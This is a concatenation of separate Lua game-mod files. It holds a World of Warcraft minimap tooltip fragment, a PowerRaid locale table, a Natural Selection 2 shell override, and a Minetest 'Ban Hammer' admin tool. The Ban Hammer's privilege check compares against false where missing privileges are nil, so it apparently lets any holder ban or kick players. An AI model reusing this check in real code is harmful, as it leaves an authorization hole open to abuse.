local zonec, classc, levelc
GameTooltip:ClearLines()
GameTooltip:ClearAllPoints()
GameTooltip:SetPoint("TOPRIGHT", self, "BOTTOMRIGHT", 0, 2)
GameTooltip:SetOwner(self, "ANCHOR_PRESERVE")
GameTooltip:AddLine(GetGuildInfo("player"))
GameTooltip:AddLine(" ")
GameTooltip:AddLine(GUILD_MOTD)
GameTooltip:AddLine(GetGuildRosterMOTD() or "-", 1, 1, 1, true)
GameTooltip:AddLine(" ")
if onlineMembers > 1 then
GameTooltip_InsertFrame(GameTooltip, GuildScroll)
end
GameTooltip:AddLine(" ")
GameTooltip:AddLine(GUILD_MEMBERS_ONLINE_COLON.." "..format("|cffffffff%d/%d|r", onlineMembers, totalMembers))
GameTooltip:Show()
end
-- // Friends Frame
local FriendsScroll = CreateScrollFrame("Friends", 300, 340, 200)
function nMinimap_UpdateFriendButton(entry)
local scrollFrame = FriendsScrollFrame
local index = entry.index
entry.buttonType = FriendListEntries[index].buttonType
entry.id = FriendListEntries[index].id
local height = scrollFrame.entryHeight
local minWidth = scrollFrame:GetWidth()
local zonec, classc, levelc
if entry.buttonType == FRIENDS_BUTTON_TYPE_BNET then
local _, accountName, battleTag, _, characterName, bnetIDGameAccount, client, isOnline, _, isAFK, isDND = BNGetFriendInfo(FriendListEntries[index].id)
if isOnline then
local _, _, _, realmName, realmID, faction, race, class, _, zoneName, level, gameText = BNGetGameAccountInfo(bnetIDGameAccount)
characterName = BNet_GetValidatedCharacterName(characterName, battleTag, client)
accountName = WrapTextInColorCode(accountName, FRIENDS_BNET_NAME_COLOR:GenerateHexColor())
local clientIcon = BNet_GetClientEmbeddedTexture(client, 14)
for k, v in pairs(LOCALIZED_CLASS_NAMES_MALE) do
if class == v then
classc = RAID_CLASS_COLORS[k]
break
end
end
if not classc then
for k, v in pairs(LOCALIZED_CLASS_NAMES_FEMALE) do
if class == v then
classc = RAID_CLASS_COLORS[k]
break
end
end
end
if client == BNET_CLIENT_WOW then
if isAFK == true then
status = 1
elseif isDND == true then
status = 2
else
status = 0
end
level = tonumber(level)
levelc = GetQuestDifficultyColor(level)
if classc == nil then
characterName = characterName .. "-UnknownClass"
classc = FRIENDS_BNET_NAME_COLOR
end
level = WrapTextInColorCode(level, CreateColor(levelc.r, levelc.g, levelc.b, 1):GenerateHexColor())
entry.LeftText:SetFormattedText("%s (%s %s) %s", accountName, level, characterName, statusText[status])
entry.RightText:SetText(clientIcon)
else
entry.LeftText:SetFormattedText(accountName)
entry.RightText:SetText(clientIcon)
end
minWidth = math.max(minWidth, entry.LeftText:GetWidth()+entry.RightText:GetWidth()+100)
entry:Show()
end
elseif entry.buttonType == FRIENDS_BUTTON_TYPE_WOW then
local info = C_FriendList.GetFriendInfoByIndex(FriendListEntries[index].id)
if info then
if info.connected then
for k, v in pairs(LOCALIZED_CLASS_NAMES_MALE) do
if info.className == v then
classc = RAID_CLASS_COLORS[k]
break
end
end
if not classc then
for k, v in pairs(LOCALIZED_CLASS_NAMES_FEMALE) do
if info.className == v then
classc = RAID_CLASS_COLORS[k]
break
end
end
end
info.name = info.name or UNKNOWN
local chatFlag = ""
if info.dnd then
chatFlag = DEFAULT_DND_MESSAGE
elseif info.afk then
chatFlag = CHAT_FLAG_AFK
end
if GetRealZoneText() == info.area then
zonec = activezone
else
zonec = inactivezone
end
levelc = GetQuestDifficultyColor(info.level)
info.level = WrapTextInColorCode(info.level, CreateColor(levelc.r, levelc.g, levelc.b, 1):GenerateHexColor())
info.name = WrapTextInColorCode(info.name, classc:GenerateHexColor())
info.area = WrapTextInColorCode(info.area, zonec:GenerateHexColor())
entry.LeftText:SetFormattedText("%s %s %s", info.level, info.name, chatFlag)
entry.RightText:SetFormattedText(info.area)
minWidth = math.max(minWidth, entry.LeftText:GetWidth()+entry.RightText:GetWidth()+100)
entry:Show()
end
end
end
scrollFrame.scrollChild:SetWidth(minWidth)
scrollFrame:SetWidth(minWidth)
return height
end
function nMinimap_UpdateFriends()
local scrollFrame = FriendsScrollFrame
local offset = 0
local entries = scrollFrame.entries
local numEntries = #entries
local numFrames = scrollFrame.numEntries
local usedHeight = 0
for i = 1, numEntries do
local frame = entries[i]
local index = offset + i
if index <= numFrames then
frame.index = index
local height = nMinimap_UpdateFriendButton(frame)
frame:SetHeight(height)
usedHeight = usedHeight + height
else
frame.index = nil
frame:Hide()
end
end
usedHeight = math.min(usedHeight, 340)
if not scrollFrame:IsVisible() then
scrollFrame:SetHeight(usedHeight)
else
scrollFrame.isPendingHeight = true
scrollFrame.pendingHeight = usedHeight
end
scrollFrame.scrollChild:SetHeight(usedHeight)
end
function nMinimapTab_Friends_UpdateScrollFrame()
local BNTotal, BNOnline = BNGetNumFriends()
local WoWTotal, WoWOnline = C_FriendList.GetNumFriends(), C_FriendList.GetNumOnlineFriends()
local scrollFrame = FriendsScrollFrame
local addButtonIndex = 0
local totalButtonHeight = 0
local function AddButtonInfo(buttonType, id)
addButtonIndex = addButtonIndex + 1
if not FriendListEntries[addButtonIndex] then
FriendListEntries[addButtonIndex] = { }
end
FriendListEntries[addButtonIndex].buttonType = buttonType
FriendListEntries[addButtonIndex].id = id
totalButtonHeight = totalButtonHeight + scrollFrame.entryHeight
end
-- Online Battlenet Friends
for i = 1, BNOnline do
AddButtonInfo(FRIENDS_BUTTON_TYPE_BNET, i)
end
-- Online WoW Friends
for i = 1, WoWOnline do
AddButtonInfo(FRIENDS_BUTTON_TYPE_WOW, i)
end
scrollFrame.totalEntriesHeight = totalButtonHeight
scrollFrame.numEntries = addButtonIndex
nMinimap_UpdateFriends()
end
function nMinimapTab_Friends_ShowTooltip(self)
local BNTotal, BNOnline = BNGetNumFriends()
local WoWTotal, WoWOnline = C_FriendList.GetNumFriends(), C_FriendList.GetNumOnlineFriends()
local totalFriendsOnline = BNOnline + WoWOnline
local totalfriends = BNTotal + WoWTotal
local invites = BNGetNumFriendInvites()
local zonec, classc, levelc, realmc
if totalFriendsOnline == 0 then return end
GameTooltip:ClearAllPoints()
GameTooltip:SetPoint("TOPRIGHT", self, "BOTTOMRIGHT", 0, 2)
GameTooltip:SetOwner(self, "ANCHOR_PRESERVE")
GameTooltip:ClearLines()
GameTooltip:AddLine(format("%s: %s/%s", FRIENDS_LIST_ONLINE, totalFriendsOnline, totalfriends))
if totalFriendsOnline > 0 then
GameTooltip:AddLine(" ")
GameTooltip_InsertFrame(GameTooltip, FriendsScroll)
end
if invites > 0 then
GameTooltip:AddLine(format(BN_INLINE_TOAST_FRIEND_PENDING, invites))
end
GameTooltip:Show()
end
function nMinimapTab_Friends_OnEvent(self, event, ...)
local BNTotal, BNOnline = BNGetNumFriends()
local WoWTotal, WoWOnline = C_FriendList.GetNumFriends(), C_FriendList.GetNumOnlineFriends()
local totalFriendsOnline = BNOnline + WoWOnline
self.Text:SetFormattedText("%s%d", friendIcon, totalFriendsOnline)
nMinimapTab_Friends_UpdateScrollFrame()
end
--// Info Frame
local function AddonMem()
local totalMem = 0
if IsAltKeyDown() then
collectgarbage()
end
for i=1, NUM_ADDONS_TO_DISPLAY, 1 do
AddonTable[i].value = 0
end
UpdateAddOnMemoryUsage()
for i=1, GetNumAddOns(), 1 do
local mem = GetAddOnMemoryUsage(i)
totalMem = totalMem + mem
for j = 1, NUM_ADDONS_TO_DISPLAY, 1 do
if mem > AddonTable[j].value then
for k = NUM_ADDONS_TO_DISPLAY, 1, -1 do
if k == j then
AddonTable[k].value = mem
AddonTable[k].name = GetAddOnInfo(i)
break
elseif k ~= 1 then
AddonTable[k].value = AddonTable[k-1].value
AddonTable[k].name = AddonTable[k-1].name
end
end
break
end
end
end
return totalMem
end
local function NumberOfActiveAddon()
local active = 0
for i=1, NUM_ADDONS_TO_DISPLAY, 1 do
if AddonTable[i].value ~= 0 then
active = active+1
end
end
return active
end
local MemoryScroll = CreateScrollFrame("Memory", 300, 340, NUM_ADDONS_TO_DISPLAY)
function nMinimap_UpdateMemoryButton(entry)
local scrollFrame = MemoryScrollFrame
local index = entry.index
entry.id = MemoryListEntries[index].id
local height = scrollFrame.entryHeight
local minWidth = scrollFrame:GetWidth()
local name = AddonTable[entry.id].name
local value = AddonTable[entry.id].value
if value ~= 0 then
entry.LeftText:SetText(name)
if value > 1000 then
entry.RightText:SetFormattedText("%.2f MB", value/1000)
else
entry.RightText:SetFormattedText("%.0f KB", value)
end
end
minWidth = math.max(minWidth, entry.LeftText:GetWidth()+entry.RightText:GetWidth()+75)
scrollFrame.scrollChild:SetWidth(minWidth)
scrollFrame:SetWidth(minWidth)
return height
end
function nMinimap_UpdateMemory()
local scrollFrame = MemoryScrollFrame
local entries = scrollFrame.entries
local numEntries = #entries
local numFrames = scrollFrame.numEntries
local usedHeight = 0
for index = 1, numEntries do
local frame = entries[index]
if index <= numFrames then
frame.index = index
local height = nMinimap_UpdateMemoryButton(frame)
frame:SetHeight(height)
usedHeight = usedHeight + height
else
frame.index = nil
frame:Hide()
end
end
usedHeight = math.min(usedHeight, 340)
scrollFrame:SetHeight(usedHeight)
scrollFrame.scrollChild:SetHeight(usedHeight)
end
function nMinimapTab_Memory_UpdateScrollFrame()
local scrollFrame = MemoryScrollFrame
local addButtonIndex = 0
local totalButtonHeight = 0
local function AddButtonInfo(id)
addButtonIndex = addButtonIndex + 1
if not MemoryListEntries[addButtonIndex] then
MemoryListEntries[addButtonIndex] = { }
end
MemoryListEntries[addButtonIndex].id = id
totalButtonHeight = totalButtonHeight + scrollFrame.entryHeight
end
for i = 1, NumberOfActiveAddon() do
AddButtonInfo(i)
end
scrollFrame.totalEntriesHeight = totalButtonHeight
scrollFrame.numEntries = addButtonIndex
nMinimap_UpdateMemory()
end
function nMinimapTab_Info_ShowTooltip(self)
local totalMem = AddonMem()
GameTooltip:ClearLines()
GameTooltip:ClearAllPoints()
GameTooltip:SetPoint("TOPRIGHT", self, "BOTTOMRIGHT", 0, 2)
GameTooltip:SetOwner(self, "ANCHOR_PRESERVE")
GameTooltip:AddLine(COMBAT_MISC_INFO)
GameTooltip:AddLine(" ")
-- Ping
local _, _, lagHome, lagWorld = GetNetStats()
GameTooltip:AddLine("|cffFFFFFF"..HOME..":|r "..format("%s ms", lagHome), RGBGradient(lagHome / 100))
GameTooltip:AddLine("|cffFFFFFF"..WORLD..":|r "..format("%d ms", lagWorld), RGBGradient(lagWorld / 100))
-- Protocol Types
if GetCVarBool("useIPv6") then
local ipTypes = { "IPv4", "IPv6" }
local ipTypeHome, ipTypeWorld = GetNetIpTypes()
local ip6 = format(MAINMENUBAR_PROTOCOLS_LABEL, ipTypes[ipTypeHome or 0] or UNKNOWN, ipTypes[ipTypeWorld or 0] or UNKNOWN)
GameTooltip:AddLine(" ")
GameTooltip:AddLine(ip6, 1.0, 1.0, 1.0)
end
-- Bandwidth
local bandwidth = GetAvailableBandwidth()
if bandwidth > 0 then
local bandwidthText = format(MAINMENUBAR_BANDWIDTH_LABEL, bandwidth)
local downloadText = format(MAINMENUBAR_DOWNLOAD_PERCENT_LABEL, floor(GetDownloadedPercentage()*100+0.5))
GameTooltip:AddLine(" ")
GameTooltip:AddDoubleLine(bandwidthText, downloadText, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0)
end
-- Memory
GameTooltip:AddLine(" ")
GameTooltip:AddLine(format(TOTAL_MEM_MB_ABBR, totalMem/1000), 1.0, 1.0, 1.0)
if NUM_ADDONS_TO_DISPLAY > 0 then
nMinimapTab_Memory_UpdateScrollFrame()
GameTooltip_InsertFrame(GameTooltip, MemoryScroll)
end
GameTooltip:Show()
end
--// Minimap Scripts
if not cfg.tab.showAlways then
Minimap:HookScript("OnEnter",function()
nMinimapTab_ShowTab()
end)
Minimap:HookScript("OnLeave", function()
nMinimapTab_HideTab()
end)
end
|
local L = LibStub("AceLocale-3.0"):NewLocale("PowerRaid", "enUS", true, true);
L = L or {}
L["Power Raid"] = true
L["PowerRaid"] = true
L["optionsDesc"] = "You can type /%s %s to open main Power Raid window."
L["Open Power Raid"] = true
L["Open the main Power Raid window."] = true
L["Left Click"] = true
L["Show GUI"] = true
L["loading"] = "Loading . . ."
L["Can't scan, not in a group"] = true
L["Can't report, not in a group"] = true
L["scanForTab"] = "Scan for %s" -- %s=tab
L["reportForTab"] = "Report %s" -- %s=tab
L["checkForTabTitle"] = "Check for these %s:" -- %s=tab
L["Everyone in the raid needs the addon to be shown here."] = true
L["Spec"] = true
L["Class"] = true
L["Unknown Spec"] = true
-- Console
L["pr"] = true
L["window"] = true
L["report"] = true
L["windowConsole"] = "Open/close Power Raid window."
L["reportConsole"] = "Scan and report tab. Choose a tab to see which channels and report types are available."
L["reportConsoleExample"] = "/%s %s (%s) (channel) (report_type)"
L["invalidTab"] = "|cFFFF0000Invalid tab!|r Valid tabs: %s"
L["invalidChannel"] = "|cFFFF0000Invalid channel!|r Valid channels: %s"
L["invalidReportType"] = "|cFFFF0000Invalid report type!|r Valid report types: %s"
-- Report Channels
L["Say"] = true
L["Party"] = true
L["Guild"] = true
L["Officer"] = true
L["Raid"] = true
L["BG"] = true
L["Whisper"] = true
L["Export"] = true
-- Tabs
L["Raid Buffs"] = true
L["World Buffs"] = true
L["Paladin Buffs"] = true
L["Raid Items"] = true
L["Consumables"] = true
L["Talents"] = true
L["Settings"] = true
-- Consumables Tab
L["Choose Item or Buff and Class to Check for:"] = true
L["Item"] = true
L["Items"] = true
L["Buff"] = true
L["Buffs"] = true
L["scanForConsumesSpec"] = "Scan %s" -- %s=spec
L["addRemoveForSpec"] = "Add/remove for %s" -- %s=spec
L["addToSpec"] = "Add to %s:" -- %s=spec
L["removeFromSpec"] = "Remove from %s:" -- %s=spec
L["specConsumables"] = "%s Consumables:" -- %s=spec
L["Clear Selected"] = true
L["Lesser"] = true
L["lesserDescription"] = "Allow lesser potions/items/buffs to count in place of greater ones.\nExample: Fire Protection Potion item count/buff will count towards Greater Fire Protection Potion"
-- Talents Tab
L["specClass"] = "Spec Class:"
L["specName"] = "Spec Name:"
L["specAddEditBoxLabel"] = "Spec Data (classic.wowhead.com/talent-calc):"
L["talentDeleteLabel"] = "Select talent to delete:"
-- Settings Tab
L["Settings:"] = true
L["Smart Buff Filtering"] = true
L["Show Minimap Icon"] = true
L["Export Power Raid Settings"] = true
L["Import Power Raid Settings"] = true
L["Scan for versions"] = true
L["MISSING"] = true
L["OFFLINE"] = true
L["exportFailed"] = "EXPORT FAILED! Your Power Raid settings are corrupted and cannot be exported."
L["importFailed"] = "IMPORT FAILED! Invalid settings data for Power Raid."
L["Copy text below:"] = true
L["Paste settings below:"] = true
L["Import Settings String"] = true
-- Reporting
L["Report Settings"] = true
L["%s Assignments"] = true -- %s=tab
L["This will scan before reporting!"] = true
L["Channel"] = true
L["Type"] = true
L["reportOutputting"] = "Outputting %s" -- %s=report type
L["reportMissingWhisper"] = "%s missing that you are assigned" -- %s=tab
L["Unknown"] = true
L["Raid Report"] = true
L["Example"] = true
L["reportExampleRaidGroupDesc"] = "The [NUMBER] indicates the raid group that the player is in"
L["reportExamplePlayer"] = "Player%d" -- %d=1-4
L["assignmentsDialogDesc"] = "This is where %s assignments can be set. When choosing the \"Whisper\" report channel, only the players with group assignments will be whispered. The whisper will contain a list of players that are missing the %s that the whispered player is assigned." -- %s=tab
L["showUnknownLabel"] = "Report Players With Unknown Status"
L["showUnknownDesc"] = "A player will have an unknown status if they don't have the addon installed or an error has occurred"
-- Report Dialog
L["ReportDialogSettingsTitle"] = "%s Report Settings" -- %s=tab
L["ReportDialogSettingsTypeLabel"] = "The report type for %s" -- %s=tab
L["ReportDialogSettingsChannelLabel"] = "The report channel for %s" -- %s=tab
-- Report Types
L["missing_all"] = "|cFFFF0000Players Missing All|r %s" -- %s=tab
L["missing_any"] = "|cFFFF7F00Players Missing One or More|r %s" -- %s=tab
L["missing_each"] = "%s that |cFFFF0000Each Player is Missing|r" -- %s=tab
L["has_all"] = "|cFF40FF40Players Having All|r %s" -- %s=tab
L["has_any"] = "|cFFFFC400Players Having One or More|r %s" -- %s=tab
L["has_each"] = "%s that |cFF40FF40Each Player Has|r" -- %s=tab
L["invalid"] = "Players with |cFFFF0000Invalid|r %s" -- %s=tab
L["valid"] = "Players with |cFF40FF40Valid|r %s" -- %s=tab
-- Buffs Short
L["Fort"] = true
L["Spirit"] = true
L["MoTW"] = true
L["Int"] = true
L["ShadowProt"] = true
L["Kings"] = true
L["Might"] = true
L["Wisdom"] = true
L["Salvation"] = true
L["Sanctuary"] = true
L["Light"] = true
-- World Buffs Short
L["Ony/Nef"] = true
L["Songflower"] = true
L["Rend"] = true
L["DMF"] = true
L["DMT"] = true
L["ZG"] = true
L["UBRS"] = true
-- Raid Items Short
L["Quint"] = true
L["Ony Key"] = true
L["Ony Cloak"] = true
L["Equipped"] = true -- ex: Ony Cloak (Equipped)
L["UBRS Key"] = true
L["Sand"] = true
-- Specs Short
L["All Classes"] = true
L["Ele"] = true
L["Enh"] = true
L["Feral DPS"] = true
L["Moonkin"] = true
L["Feral Tank"] = true
L["Healing"] = true
L["Holy"] = true
L["Prot"] = true
L["Resto"] = true
L["Ret"] = true
L["Shadow"] = true
L["DPS"] = true
-- Bosses
L["General"] = true
L["PVP"] = true
L["Azuregos"] = true
L["Lord Kazzak"] = true
L["Emeriss"] = true
L["Lethon"] = true
L["Taerar"] = true
L["Ysondre"] = true
L["Lucifron"] = true
L["Magmadar"] = true
L["Gehennas"] = true
L["Garr"] = true
L["Shazzrah"] = true
L["Baron Geddon"] = true
L["Golemagg the Incinerator"] = true
L["Sulfuron Harbinger"] = true
L["Majordomo Executus"] = true
L["Ragnaros"] = true
L["Razorgore the Untamed"] = true
L["Vaelastrasz the Corrupt"] = true
L["Broodlord Lashlayer"] = true
L["Firemaw"] = true
L["Ebonroc"] = true
L["Flamegor"] = true
L["Chromaggus"] = true
L["Nefarian"] = true
|
return require('apiversionheader')
|
-- Natural Selection 2 Competitive Mod
-- Source located at - https://github.com/xToken/CompMod
-- lua\CompMod\Structures\Alien\Shell\server.lua
-- - Dragon
local originalShellOnUpdate
originalShellOnUpdate = Class_ReplaceMethod("Shell", "OnUpdate",
function(self, deltaTime)
originalShellOnUpdate(self, deltaTime)
if not self:GetIsAlive() then
local destructionAllowedTable = { allowed = true }
if self.GetDestructionAllowed then
self:GetDestructionAllowed(destructionAllowedTable)
end
if destructionAllowedTable.allowed then
DestroyEntity(self)
end
end
end
)
function Shell:OnTeleport()
self:SetDesiredInfestationRadius(0)
end
function Shell:OnTeleportEnd(destinationEntity)
self:CleanupInfestation()
end
function Shell:OnTeleportFailed()
self:SetDesiredInfestationRadius(self:GetInfestationMaxRadius())
end
function Shell:GetDestroyOnKill()
return false
end
function Shell:OnKill(attacker, doer, point, direction)
self:SetModel(nil)
local team = self:GetTeam()
if team then
team:OnTeamEntityDestroyed(self)
end
end
function Shell:GetPassiveBuild()
return self:GetGameEffectMask(kGameEffect.OnInfestation)
end
|
-----------------------------------------------------------------------------------------------
local title = "Ban Hammer"
local version = "0.2.1"
local mname = "ban_hammer"
-----------------------------------------------------------------------------------------------
dofile(minetest.get_modpath("ban_hammer").."/settings.txt")
-----------------------------------------------------------------------------------------------
local mode_text = {
{"ban punched player"},
{"kick punched player"},
{"remove shout privilege of punched player"},
{"remove fly privilege of punched player"},
{"remove noclip privilege of punched player"},
}
local function ban_hammer_handler(itemstack, user, pointed_thing, mode)
local keys = user:get_player_control()
if pointed_thing.type ~= "object" then
return
end
if not pointed_thing.ref:is_player() then
return
end
local puncher = user:get_player_name()
local puncher_privs = minetest.get_player_privs(puncher)
if (puncher_privs["ban"] == false) then
return
end
local punched_player = pointed_thing.ref:get_player_name()
local punched_player_privs = minetest.get_player_privs(punched_player)
if mode == 1 then
if SEND_MESSAGE_TO_ALL == true then
minetest.chat_send_all("The ban hammer has struck, wielded by "..puncher..", banning "..punched_player.." from the server.")
end
minetest.log("action", puncher .. " bans " .. punched_player .. ".")
minetest.ban_player(punched_player)
elseif mode == 2 then
if SEND_MESSAGE_TO_ALL == true then
minetest.chat_send_all("The ban hammer has struck, wielded by "..puncher..", kicking "..punched_player.." from the server.")
end
minetest.log("action", puncher .. " kicked " .. punched_player)
minetest.kick_player(punched_player)
elseif mode == 3 then
punched_player_privs["shout"] = nil
minetest.set_player_privs(punched_player, punched_player_privs)
minetest.log(puncher..' revoked (shout) privileges from '..punched_player)
if SEND_MESSAGE_TO_ALL == true then
minetest.chat_send_all("The ban hammer has struck, wielded by "..puncher..", revoking shout from "..punched_player)
end
minetest.chat_send_player(punched_player, puncher.." revoked privileges from you: shout")
elseif mode == 4 then
punched_player_privs["fly"] = nil
minetest.set_player_privs(punched_player, punched_player_privs)
minetest.log(puncher..' revoked (fly) privileges from '..punched_player)
if SEND_MESSAGE_TO_ALL == true then
minetest.chat_send_all("The ban hammer has struck, wielded by "..puncher..", revoking fly from "..punched_player)
end
minetest.chat_send_player(punched_player, puncher.." revoked privileges from you: fly")
elseif mode == 5 then
punched_player_privs["noclip"] = nil
minetest.set_player_privs(punched_player, punched_player_privs)
minetest.log(puncher..' revoked (noclip) privileges from '..punched_player)
if SEND_MESSAGE_TO_ALL == true then
minetest.chat_send_all("The ban hammer has struck, wielded by "..puncher..", revoking noclip from "..punched_player)
end
minetest.chat_send_player(punched_player, puncher.." revoked privileges from you: noclip")
end
return itemstack
end
for i = 2, 5 do
minetest.register_craftitem("ban_hammer:hammer"..i, {
description = "Admin tool 1: Ban Hammer Mode "..i.." ("..mode_text[i][1]..")",
inventory_image = "ban_hammer.png^technic_tool_mode"..i..".png",
wield_image = "ban_hammer.png",
groups = {not_in_creative_inventory=1},
stack_max = 1,
on_use = function(itemstack, user, pointed_thing)
local mode = i
ban_hammer_handler(itemstack, user, pointed_thing, mode)
return itemstack
end,
})
end
minetest.register_craftitem("ban_hammer:hammer1", {
description = "Admin tool 1: Ban Hammer Mode 1 ("..mode_text[1][1]..")",
inventory_image = "ban_hammer.png^technic_tool_mode1.png",
wield_image = "ban_hammer.png",
stack_max = 1,
on_use = function(itemstack, user, pointed_thing)
ban_hammer_handler(itemstack, user, pointed_thing, 1)
return itemstack
end,
})
-----------------------------------------------------------------------------------------------
print("[Mod] "..title.." ["..version.."] ["..mname.."] Loaded...")
-----------------------------------------------------------------------------------------------
|
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